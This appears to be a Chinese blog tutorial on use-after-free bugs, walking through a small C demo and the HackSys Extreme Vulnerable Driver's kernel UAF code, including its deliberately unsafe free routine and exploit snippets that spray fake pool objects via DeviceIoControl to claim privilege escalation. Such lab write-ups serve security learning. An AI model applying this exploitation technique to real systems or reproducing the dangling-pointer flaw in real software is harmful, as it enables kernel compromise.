做者:huity
出處:https://www.cnblogs.com/huity35/p/11240997.html
版權:本文版權歸做者全部。文章在博客園、看雪、我的博客同時發佈。
轉載:歡迎轉載,但未經做者贊成,必須保留此段聲明;必須在文章中給出原文鏈接;不然必究法律責任。html
Use After Free 就是其字面所表達的意思,當一個內存塊被釋放以後再次被使用。可是其實這裏有如下幾種狀況(引用Thunder J師傅的總結,到位):git
#include <stdio.h> #define size 32 int main(int argc, char **argv) { char *buf1; char *buf2; buf1 = (char *) malloc(size); printf("buf1:0x%p\n", buf1); free(buf1); // 分配 buf2 去「佔坑」buf1 的內存位置 buf2 = (char *) malloc(size); printf("buf2:0x%p\n\n", buf2); // 對buf2進行內存清零 memset(buf2, 0, size); printf("buf2:%d\n", *buf2); // 重引用已釋放的buf1指針,但卻致使buf2值被篡改 printf("==== Use After Free ===\n"); strncpy(buf1, "hack", 5); printf("buf2:%s\n\n", buf2); free(buf2); }
程序分配和buf1大小相同的堆塊buf2實現佔坑,buf2分配到已經釋放的buf1內存位置,但因爲buf1指針依然有效,而且指向的內存數據是不可預測的,可能被堆管理器回收,也可能被其餘數據佔用填充,buf1指針稱爲懸掛指針,藉助懸掛指針buf1將內存賦值爲hack,致使buf2也被篡改成hack。github
若是原有的漏洞程序引用到懸掛指針指向的數據用於執行指令,就會致使任意代碼執行。shell
在一般的瀏覽器UAF漏洞中,都是某個C++對象被釋放後重引用,假設程序存在UAF的漏洞,有個懸掛指針指向test對象,要實現漏洞利用,經過佔坑方式覆蓋test對象的虛表指針,虛表指針指向虛函數存放地址,如今讓其指向惡意構造的shellcode,當程序再次引用到test對象就會致使任意代碼執行。瀏覽器
typedef void(*FunctionPointer)(); ... typedef struct _USE_AFTER_FREE_NON_PAGED_POOL { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL; ... NTSTATUS AllocateUaFObjectNonPagedPool(VOID){ NTSTATUS Status = STATUS_UNSUCCESSFUL; PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL; PAGED_CODE(); __try { DbgPrint("[+] Allocating UaF Object\n"); // Allocate Pool chunk UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag( NonPagedPool, sizeof(USE_AFTER_FREE_NON_PAGED_POOL), (ULONG)POOL_TAG ); if (!UseAfterFree) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL)); DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree); } // Fill the buffer with ASCII 'A' RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // Null terminate the char buffer UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0'; // Set the object Callback function UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool; // Assign the address of UseAfterFree to a global variable g_UseAfterFreeObjectNonPagedPool = UseAfterFree; DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
該函數分配一個非分頁的池塊,用‘A’填充它,預先設置一個回調指針並添加一個空終止符。 IDA中的流程幾乎相同,以下所示。 請注意,對象大小爲0x58字節,池標記爲「Hack」(小端對齊)。安全
NTSTATUS FreeUaFObjectNonPagedPool( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint("[+] Freeing UaF Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); #ifdef SECURE // Secure Note: This is secure because the developer is setting // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer g_UseAfterFreeObjectNonPagedPool = NULL; #else // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL. // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer // (dangling pointer) ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); #endif Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
至關直接,這能夠經過引用標記值來釋放池塊。在安全版本下,這是安全的,而在不安全的版本中這是包含漏洞的函數,由於在釋放對象後「g_UseAfterFreeObject」未設置爲null,所以保留了過期的對象指針。ide
NTSTATUS UseUaFObjectNonPagedPool(VOID){ NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint("[+] Using UaF Object\n"); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback); DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObjectNonPagedPool->Callback) { g_UseAfterFreeObjectNonPagedPool->Callback(); } Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
NTSTATUS AllocateFakeObjectNonPagedPool( _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject){ NTSTATUS Status = STATUS_SUCCESS; PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL; PAGED_CODE(); __try { DbgPrint("[+] Creating Fake Object\n"); // Allocate Pool chunk KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag( NonPagedPool, sizeof(FAKE_OBJECT_NON_PAGED_POOL), (ULONG)POOL_TAG ); if (!KernelFakeObject) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL)); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject); } // Verify if the buffer resides in user mode ProbeForRead( (PVOID)UserFakeObject, sizeof(FAKE_OBJECT_NON_PAGED_POOL), (ULONG)__alignof(UCHAR) ); // Copy the Fake structure to Pool chunk RtlCopyMemory( (PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT_NON_PAGED_POOL) ); // Null terminate the char buffer KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0'; DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
堆海戰術
吧,若是你看過0day安全這本書,裏面說的堆噴射也就是這個原理。//申請fake UAF對象 for (i = 0; i < 0x1000; i++) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT, (LPVOID)FakeObject,//Ring3緩衝區 0, NULL, 0, &BytesReturned, NULL); } OutputDebugString("****************Kernel Mode****************\n"); DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n"); //釋放剩餘的對象 FreeReserveObjects(); DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n"); OutputDebugString("****************Kernel Mode****************\n"); //執行 DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, NULL, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n");
最終看到。提權成功,提權過程參考個人前一篇。函數
#ifdef SECURE // Secure Note: This is secure because the developer is setting // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer g_UseAfterFreeObjectNonPagedPool = NULL; #else // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL. // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer // (dangling pointer) ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); #endif